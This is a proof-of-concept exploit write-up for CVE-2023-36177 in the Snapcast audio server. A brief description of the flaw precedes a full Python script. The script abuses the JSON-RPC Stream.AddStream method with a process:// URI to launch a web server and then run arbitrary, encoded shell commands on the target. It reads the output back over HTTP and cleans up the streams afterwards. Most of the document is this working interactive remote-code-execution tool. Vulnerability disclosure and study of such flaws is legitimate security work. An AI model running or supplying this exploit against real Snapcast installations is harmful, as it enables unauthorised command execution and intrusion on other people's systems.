[CVE-2023-36177] Snapcast JSON-RPC RCE PoC

Description

Snapcast is a multiroom client-server audio player, where all clients are time synchronized with the server to play perfectly synced audio. It’s not a standalone player, but an extension that turns your existing audio player into a Sonos-like multiroom solution.

Using the JSON-RPC API provided with snapcast on default installations, an attacker can leverage snapcasts functionality of reading sound from a process, to gain remote code execution. This works by creating a new stream in snapcast with the Stream.AddStream method, using the process:// type for the streamUri.

The following script works, by using the http.server module in python, to spawn a webserver in the default snapserver data dir. This way, any file we create in there we can read from. Next a new stream is created that runs whatever command we see fit, and writes the output into /var/lib/snapserver/tmp, then using the requests module, get’s the output from the command over the webserver, and finally cleans up after itself removing the different streams. Keep in mind, this is not to evade detection, but just to you can run the script again with the same stream names, as they cannot be overlapping. The tmp file created on the server will persist, unless you remove it yourself.

This issue affects Snapcast Server versions 0.27.0 and below

PoC script:

import sys
import json
import time
import base64
import requests
from pwn import *

try:
    host = sys.argv[1]
    port = int(sys.argv[2])
except:
    print(f"Usage:\n{sys.argv[0]} hostname port")
    exit()


def genclean(streamname):
    clean = {
        "id": 8,
        "jsonrpc": "2.0",
        "method": "Stream.RemoveStream",
        "params": {"id": streamname},
    }
    return json.dumps(clean).encode()


def stage1(streamname):
    payload = {
        "id": 8,
        "jsonrpc": "2.0",
        "method": "Stream.AddStream",
        "params": {
            "streamUri": f"process:///bin/python3?name={streamname}&params=-m http.server -d /var/lib/snapserver 6724"
        },
    }
    io.sendline(json.dumps(payload).encode())
    return io.recvline()


def stage2(streamname, cmd):
    b64cmd = base64.b64encode(cmd.encode()).decode()
    command = f"""open('/var/lib/snapserver/tmp','w').write(__import__('os').popen(__import__('base64').b64decode('{b64cmd}').decode()).read())"""
    hexcmd = "".join([f"\\x{ord(c):02x}" for c in command])
    payload = {
        "id": 8,
        "jsonrpc": "2.0",
        "method": "Stream.AddStream",
        "params": {
            "streamUri": f"process:///bin/python3?name={streamname}&params=-c exec('{hexcmd}')"
        },
    }
    io.sendline(json.dumps(payload).encode())
    return io.recvline()


def cleanup(streamname):
    genclean(streamname)
    time.sleep(0.1)
    io.sendline(genclean(streamname))
    return io.recvline()


if __name__ == "__main__":
    io = remote(host, port)
    stage1("webserver")
    cmd = input(">>> ")
    stage2("tmp", cmd)
    time.sleep(0.3)
    print(requests.get(f"http://{host}:6724/tmp").text)
    cleanup("tmp")
    cleanup("webserver")